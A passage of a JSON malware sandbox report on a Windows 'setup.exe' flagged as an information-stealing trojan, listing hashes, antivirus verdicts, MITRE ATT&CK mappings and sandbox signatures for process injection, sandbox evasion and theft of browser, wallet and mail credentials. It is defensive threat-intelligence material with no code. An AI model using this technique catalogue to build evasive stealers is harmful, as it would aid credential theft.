b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6","sha1":"25620983b555dceb1a8f1c57a8e03d9abffbcdf3","md5":"faf05cf8e3b273f5faaf7b00ef2920f3","sha512":"f8b0873055c73e8ff3fc83537d98becb70cc0d58909e697ae121425fecedeb8f6b82c42a2c54002c03aab7fa8d8e6101cf3ee995bdd2a27348f999a1ad4bbe86","ssdeep":"12288:QN7xlNsKGv1GluG+S7SvnVde+3u/szpbB:G7ZVMcujvVd8WB","ssdeep_chunks":["12288:QN7xlNs","12288:N7xlNsK","12288:7xlNsKG","12288:xlNsKGv","12288:lNsKGv1","12288:NsKGv1G","12288:sKGv1Gl","12288:KGv1Glu","12288:Gv1GluG","12288:v1GluG+","12288:1GluG+S","12288:GluG+S7","12288:luG+S7S","12288:uG+S7Sv","12288:G+S7Svn","12288:+S7SvnV","12288:S7SvnVd","12288:7SvnVde","12288:SvnVde+","12288:vnVde+3","12288:nVde+3u","12288:Vde+3u/","12288:de+3u/s","12288:e+3u/sz","12288:+3u/szp","12288:3u/szpb","12288:u/szpbB","24576:QN7xlNs","24576:N7xlNsK","24576:7xlNsKG","24576:xlNsKGv","24576:lNsKGv1","24576:NsKGv1G","24576:sKGv1Gl","24576:KGv1Glu","24576:Gv1GluG","24576:v1GluG+","24576:1GluG+S","24576:GluG+S7","24576:luG+S7S","24576:uG+S7Sv","24576:G+S7Svn","24576:+S7SvnV","24576:S7SvnVd","24576:7SvnVde","24576:SvnVde+","24576:vnVde+3","24576:nVde+3u","24576:Vde+3u/","24576:de+3u/s","24576:e+3u/sz","24576:+3u/szp","24576:3u/szpb","24576:u/szpbB","12288:G7ZVMcu","12288:7ZVMcuj","12288:ZVMcujv","12288:VMcujvV","12288:McujvVd","12288:cujvVd8","12288:ujvVd8W","12288:jvVd8WB"],"imphash":"5e56c23cbdafb3c243efd0d012267996"},"file_info":{"file_name":"setup.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":466944,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1677569106000,"last_seen":1693414342000,"last_multi_scan":1693414342000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["asyncrat","blindspider","coldstealer","commodity","criminal","downloader","emberbear","gop","guardianofpeace","hadesbot","informationstealer","modular","netdis","opensource","operationtroy","primitivebear","raccoonstealer","rat","rekram","silentchollima","targeted","targetedcrimeware","vidarstealer","whoisteam","evasive"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":43},"sandbox_signatures":{"informative_count":86,"suspicious_count":31,"malicious_count":13,"total":130},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Infostealer/Win.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Kryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1311184","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Zusy.451577","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Zusy.451577 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HSEV trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/Injector.aa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0059d50d1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Inject.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-FUWJ!FAF05CF8E3B2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Steal-DJB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Kryptik.IZV.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.PLV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Injuke","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Kryptik.Win32.4051304","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Malware","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file is packed with UPX"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Found debugger evasion api strings"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Found a cryptographic related string"},{"type":"informative","value":"PE file contains zero-size sections"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"suspicious","value":"Reads configuration files"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to determine whether a process running under Wow64"},{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"suspicious","value":"Contains ability to retrieve information about the current system"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Calls an API typically used to retrieve SID domain name"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Imports GetEnvironmentVariable API"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve local language (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"},{"type":"malicious","value":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Decrypted SSL network traffic"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"YARA signature match - RC4 Encryption"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"malicious","value":"Writes PE header to memory"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate processes (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Queries volume information of an entire harddrive"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to query local/system time"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"tactic":"Exfiltration","technique":"Exfiltration to Cloud Storage","attack_id":"T1567.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1567/002","identifiers":[{"type":"informative","value":"Found strings related to cloud services domains (possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Observed api string:\"UnhandledExceptionFilter\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]\n Observed api string:\"SetUnhandledExceptionFilter\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 36708-277-0040EB8D\n SetUnhandledExceptionFilter@KERNEL32.dll at 36708-2435-0040BA57","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found debugger evasion api strings","description":"Observed string:\"IsDebuggerPresent\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"setup.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007724)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"setup.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve local language (API string)","description":"Observed string:\"GetLocaleInfoA\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Observed API string:\"GetStartupInfo\" [Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin]","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"setup.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" - (UID: 00000000-00007724)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6.bin)","origin":"Static 